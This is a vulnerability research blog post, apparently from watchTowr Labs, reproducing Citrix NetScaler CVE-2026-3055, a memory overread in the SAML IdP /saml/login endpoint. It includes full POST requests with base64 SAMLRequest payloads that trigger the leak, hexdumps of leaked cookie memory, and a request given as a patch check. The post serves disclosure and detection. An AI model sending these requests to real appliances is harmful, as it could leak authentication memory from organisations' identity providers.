The Sequels Are Never As Good, But We're Still In Pain (Citrix NetScaler CVE-2026-3055 Memory Overread)
Sequels? Pain? We're obviously talking about Citrix NetScalers, yet again.
Welcome back to another watchTowr Labs blog post - pull up a chair, we always welcome new members to our group therapy sessions.
If you asked a C programmer what they most dislike doing in life, their answer might well be:
- Using an IDE,
- Constantly rejecting job offers to work on Citrix NetScalers,
- Writing C instead of Assembly, and,
- Writing string processing code in C.
While C is to some a glorious and beautiful language (as every parent believes their child is the most beautiful), it is (like said children) simply not well-suited for string processing.
Unfortunately, we're back with another example - in the form of the recently disclosed Citrix NetScaler CVE-2026-3055. Described as a 'memory overread' vulnerability, many would've read the words and screamed.
Why? Because this sounds suspiciously similar to CitrixBleed and CitrixBleed2, which continue to represent a trauma event for many.
CitrixBleed is infamous both because it was a serious vulnerability that allowed the disclosure of memory and subsequent remote-access session hijacking, and because, years later, we are still reeling from the aftermath of the prolific exploitation it received.
Editors note: We've written about this vulnerability, in this appliance before, so we copy/pasted the above description from here. Sue us. (Please don't (counsel told us to add the "Please don't")).
Then, CitrixBleed2 made headlines in 2025, and at the time we (watchTowr) publicly shared concerns about the repetition and Ground Hog Day-esque world we seem to live in.
Now, we know some of you have nothing better to do, and actually read some of the drivel we publish under the guise of research - but you may also remember that in 2025, we disclosed further memory red (unrealistic, unlikely to exist in the real-world) vulnerabilities within fully patched Citrix NetScaler appliances that allowed us to do the same - leak memory.
While that vulnerability alone was not 'real-world', we stated very clearly at the time:
However, what should be of concern is the bigger picture - the trend, which is very clearly suggesting that memory management continues to appear fragile within Citrix NetScaler appliances, to the extent that even accidentally misconfiguring an appliance can lead to the disclosure of leaked memory.
It feels like we are playing catch with a highly-sensitive gun that continues to harm innocent bystanders - within, once again, what many will consider a highly-critical appliance and security control.
Will we see another memory leak vulnerability in Citrix NetScaler? We have no idea. But if we were to meme…

Anyway, we just wanted to take this moment to say 'ha ha told you so'. So, ha.
As an aside, and hopefully we've buried this comment enough that only the dedicated readers get this far: during the course of reproducing this N-day, we found additional memory-overread vulnerabilities with similar prerequisites to CVE-2026-3055 (we've written about clustering before). We've passed these to Citrix's PSIRT team, and they won't be covered today.
What Is Citrix NetScaler and NetScaler Gateway?
Citrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure.
It is, in other words, exactly the kind of product we love to look at, while also being a natural disaster.
What Is CVE-2026-3055?
As always, we began our journey by reading Citrix's advisory for CVE-2026-3055:
According to Citrix, this vulnerability - scoring 9.3 on the CVSS4.0 0-10 cool scale - affects the following versions:
- NetScaler ADC and NetScaler Gateway versions before 14.1-26.x are vulnerable
- NetScaler ADC and NetScaler Gateway 14.1-26.x and later are not vulnerable
Sigh.
Citrix states that they discovered CVE-2026-3055 as part of their own internal product security efforts, and classified it as "Insufficient input validation leading to memory overread", magical words that instantly got our attention.
While we've already discussed what the words 'memory overread' are likely to do to people, Citrix provides more helpful information for the casual/uncasual reader.
Citrix advises that the vulnerability is only exploitable if the appliance is 'configured as a SAML IDP'. This is a cursed configuration to begin with, and we can think of no appliance more poorly-suited to the task of being an IdP than this class of network device.
But, well, we know someone out there will have thought it was a Really Good Idea and rushed to implement it. Hopefully not you.
It gets better, though - for those that have never had the joyous experience of setting up SAML, an 'IdP' (or 'Identity Provider') is the box that all your other boxes authenticate against.
You (probably) put all your creds on it, and whenever someone wants to log into a service, the service redirects them to the IdP, which does all the authentication and issues them a ticket (or not).
Citrix recommends upgrading to a patched version, and we'll always agree with this course of action. From their advisory, the following are patched:
- NetScaler ADC and NetScaler Gateway 14.1-60.58
- NetScaler ADC and NetScaler Gateway 14.1-66.59 and later releases
- NetScaler ADC and NetScaler Gateway 13.1-62.23 and later releases of 13.1
- NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.262 and later releases of 13.1-FIPS and 13.1-NDcPP
We performed today's analysis on a range of Citrix NetScaler versions, including:
- 14.1-43.50 (not patched),
- 14.1-66.54 (not patched), and
- 14.1-66.59 (patched)
With a few clues from Citrix, a boatload of RedBull, and an insatiable urge to understand the world, we began our analysis.
We Begin With SAML
SAML is based on everyone's favourite 90's invention, XML. So, naturally, this means that parsing it in C is a terrible idea.
Guess what Citrix does? Predictably, they decided to implement a super-complex XML parser they (presumably?) wrote in C - the root cause of today's subject is predictably awful.
SAML is fairly simple in concept (supposedly, we're told). Implementation-wise, on a NetScaler, it exposes a small number of endpoints, so the surface we have to analyse is relatively small.
After hours of configuring a ****** ******* ***** ********* ****** ******* NetScaler to act as an IdP (this was the most painful thing we have ever done in our entire lives, and some of us have been to RSA), we went ahead and started poking around.
Service Discovery
Realistically, we need to understand how NetScaler's expose SAML, and a good starting point appears to be the /metadata/samlidp/ endpoint.
Under this, there is an entry for each IdP hosted on the server, and requesting that will simply show an XML-formatted document with information about the services offered by the IdP - typically logging on, and perhaps logging off.
Let's request it:
GET /metadata/samlidp/asdf
Host: 192.168.80.125
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" ID="_c1b88ac110084658d3d3f9983fffd355" entityID="192.168.80.125">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://192.168.80.125/cgi/logout"></md:SingleLogoutService>
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://192.168.80.125/cgi/logout"></md:SingleLogoutService>
<md:NameIDFormat>urn:oasis:names:tc:SAML:2.0:nameid-format:transient</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://192.168.80.125/saml/login"></md:SingleSignOnService>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://192.168.80.125/saml/login"></md:SingleSignOnService>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
Nothing too exciting here. We've requested the IdP - yes, it's called asdf (Our passion is creative writing.) - and information about the IdP is returned.
We discounted this endpoint pretty quickly - who could possibly mess this up?
(Probably Citrix, in the future).
However, today, this isn't where the interesting functionality lies - let's take a look at a far juicier endpoint, /saml/login.
Authenticating With An Authentication Protocol
The bulk of SAML functionality is accessed via the endpoint /saml/login.
This endpoint accepts a POST'ed SAMLRequest parameter - a base64-encoded XML document. It will also accept the same parameter via query string in a GET request, except in that case the base64-encoded XML document is additionally compressed.
Because... well. We don't know.
We ignored this somewhat-cursed functionality and focused on the XML POST payload, in the interest of preserving what little remains of our collective sanity.
The XML data itself can get relatively complex, supporting conditions (such as "not before a specified time"), message authentication features like hashes and signatures, and other delights we elected not to think about too hard.
We'll keep it simple and supply a straightforward logon HTTP request to the target NetScaler (base64'd):
POST /saml/login HTTP/1.1
Host: 192.168.80.125
Content-Length: 624
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpJc3N1ZUluc3RhbnQ9IjIwMjYtMDMtMjdUMDQ6MTM6MDBaIiANCkRlc3RpbmF0aW9uPSJodHRwOi8vd2F0Y2h0b3dyL3NhbWwucGhwIiANClByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgDQpBc3NlcnRpb25Db25zdW1lclNlcnZpY2VVUkw9Imh0dHA6Ly93YXRjaHRvd3Ivc2FtbC5waHA%2FYWNzIj4NCiAgPHNhbWw6SXNzdWVyPmh0dHA6Ly93YXRjaHRvd3Ivc2FtbC5waHA8L3NhbWw6SXNzdWVyPg0KPC9zYW1scDpBdXRoblJlcXVlc3Q%2BOnce decoded, the value of SAMLRequest looks like the below:
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
Version="2.0" ProviderName="my provider"
IssueInstant="2026-03-27T04:13:00Z"
Destination="http://watchtowr/saml.php"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
AssertionConsumerServiceURL="http://watchtowr/saml.php?acs">
<saml:Issuer>http://watchtowr/saml.php</saml:Issuer>
</samlp:AuthnRequest>
In this decoded SAMLRequest value, there's a bunch of information about what we're accessing, along with a way to identify the IdP instance on the server. The information provided can be entirely bogus, but the server doesn't particularly care.
It'll still hand us a response, most of which we can ignore (we've snipped the following for brevity):
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD1odHRwOi8vd2F0Y2h0b3dyL3NhbWwucGhwP2FjcwA=;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src http://localhost:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>So, just a 302 redirecting us somewhere else. Nothing to write home about, except for one important detail: that cookie, NSC_TASS.
What's that?

Well, it's a base64-encoded blob, so let's see what's inside it:
00000000 61 73 64 66 00 49 44 3d 26 62 69 6e 64 3d 70 6f |asdf.ID=&bind=po|
00000010 73 74 26 41 43 53 55 52 4c 3d 68 74 74 70 3a 2f |st&ACSURL=http:/|
00000020 2f 77 61 74 63 68 74 6f 77 72 2f 73 61 6d 6c 2e |/watchtowr/saml.|
00000030 70 68 70 3f 61 63 73 00 |php?acs.|
Naturally, this is all it takes for things to start becoming interesting.
If you remember what we wrote at the beginning of this blog post, you'll remember that this bug is classified as a "memory overread."
This suggests there's memory being echoed back to the user, which we can either manipulate to lack a terminator or omit entirely to access "dead" memory.
This certainly satisfies the first requirement: some of the values we supplied above (the AssertionConsumerServiceURL, for example) are being relayed back to us in the response, via this cookie.
But, we wondered.. what happens if we just... don't specify that argument at all? Following a hunch, we fired off a request, with as minimal content as we could manage without causing the NetScaler to reject it outright:
POST /saml/login HTTP/1.1
Host: 192.168.80.125
Content-Length: 336
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIA0KSUQ9Il8xMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEiIA0KVmVyc2lvbj0iMi4wIj4NCjxzYW1sOklzc3Vlcj5hPC9zYW1sOklzc3Vlcj4NCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg%3D%3DAnd base64 decoded, below:
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_111111111111111111111111111111111111"
Version="2.0">
<saml:Issuer>a</saml:Issuer>
</samlp:AuthnRequest>While the HTTP response returned contained yet another boring, uninspiring, enterprise-grade error message, we in parallel monitored the NetScaler's log files.
Hm...

While this might look uninspiring to the naked eye, stay with us - we'll get you bleeding again soon.
As you can see, there's an unsupported ProtocolBinding value: urn:oasis:names:tc:SAML:2.0:bindings:HTT.
This... doesn't actually appear in our request, though it did appear in our previous one. So what's going on here? Is the request hitting unallocated memory, left over from the previous request?
Yes. Yes, it is... enterprise-grade!
To test our suspicions, and to generate some memory allocation activity, we logged into the IdP as a test user, logged back out, and then re-sent our previous request, this time with a valid ProtocolBinding.
What did we see? An entirely different response, complete with a fresh NSC_TASS cookie.
Before we look at the data itself, what's in the system log?

Aaaa. aha. That acs entry is supposed to contain the AssertionConsumerServiceURL pulled from the XML data.
But we didn't supply one. And not only did we not supply one, the value present there looks... suspicious. Like it was lifted from a previous request, with some binary data sprinkled in for good measure.
Let's see what's in our NSC_TASS cookie:
NSC_TASS=YXNkZgBJRD1fMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExJmJpbmQ9cG9zdCZBQ1NVUkw9aWQ9QUFBQUFBQe++rd7tpwyhNQA=
00000000 61 73 64 66 00 49 44 3d 5f 31 31 31 31 31 31 31 |asdf.ID=_1111111|
00000010 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 |1111111111111111|
00000020 31 31 31 31 31 31 31 31 31 31 31 31 31 26 62 69 |1111111111111&bi|
00000030 6e 64 3d 70 6f 73 74 26 41 43 53 55 52 4c 3d 69 |nd=post&ACSURL=i|
00000040 64 3d 41 41 41 41 41 41 41 ef be ad de ed a7 0c |d=AAAAAAA.......|
00000050 a1 35 00 |.5.|
AAAAHA.
We see our ID, as normal, but then for the ACSURL, we see some fragments of dead memory - an ID=AAAAAAA left over from a previous request (not shown above), and then a smoking gun - ef be ad de, or 0xdeadbeef, no doubt a full used to mark dead memory.
This looks like the memory overread we're looking for.
To be sure we found the correct vulnerability, we ran the same request against a patched box.
The response was very different.
HTTP/1.1 200 OK
...
Content-Type: text/html; charset=utf-8
Parsing of presented Assertion failed; Please contact your administratorGreat.
This gives us a really good way of identifying whether an appliance has been patched - the check we've been leveraging across the watchTowr client base to accurately identify vulnerable hosts.
Put simply:
- If it gives this error message, great, it's patched.
- If, instead, it provides us with an
NSC_TASScookie - any cookie at all - then it's running the vulnerable version.- And, if we're lucky, that cookie might even contain data we're not supposed to see.
To be explicit, fire off this request in a POST to /saml/login:
POST /saml/login HTTP/1.1
Host: 192.168.80.125
Content-Length: 510
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXI%2BaHR0cDovL3dhdGNodG93ci9zYW1sLnBocDwvc2FtbDpJc3N1ZXI%2BDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3DWhich base64 decodes to:
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_1"
Version="2.0" ProviderName="my provider"
Destination="http://watchtowr/saml.php"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
>
<saml:Issuer>http://watchtowr/saml.php</saml:Issuer>
</samlp:AuthnRequest>If you see a response giving out an NSC_TASS - please, patch.
You're Back In The Room, And It's Depressing
Obviously, this is exciting: we're clearly seeing data we're not supposed to see leaking out of the appliance.
But, we're quick to note that there isn't really very much of it. Wondering why, we went a little further to confirm whether this was expected. We identified that many fields have a limit of 100 bytes, and the read will terminate the moment it encounters a NULL byte.
Not perfect.
To make this vulnerability more imperfect, triggering it was seemingly based on.. luck. Hundreds and hundreds of requests would go by without any memory disclosure, and then suddenly we'd see memory.
However, we also suspect this is an artefact of a low traffic (read: zero traffic) lab environment - and this is highly likely to not be the case in a production, live, real-world environment. I.e. the one you run, the one attackers target.
We also want to point out that successful exploitation will leave strange messages, such as that we saw above, in the /var/log/ns.log file (if logging is sufficiently verbose - we ran our test box with DEBUG logging to be sure we saw what was going on). In addition to being quite uncommon, this is also not a quiet attack.
Perhaps Citrix can share this information with its customers next time, to help them spot exploitation?
Speak soon ;-)
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.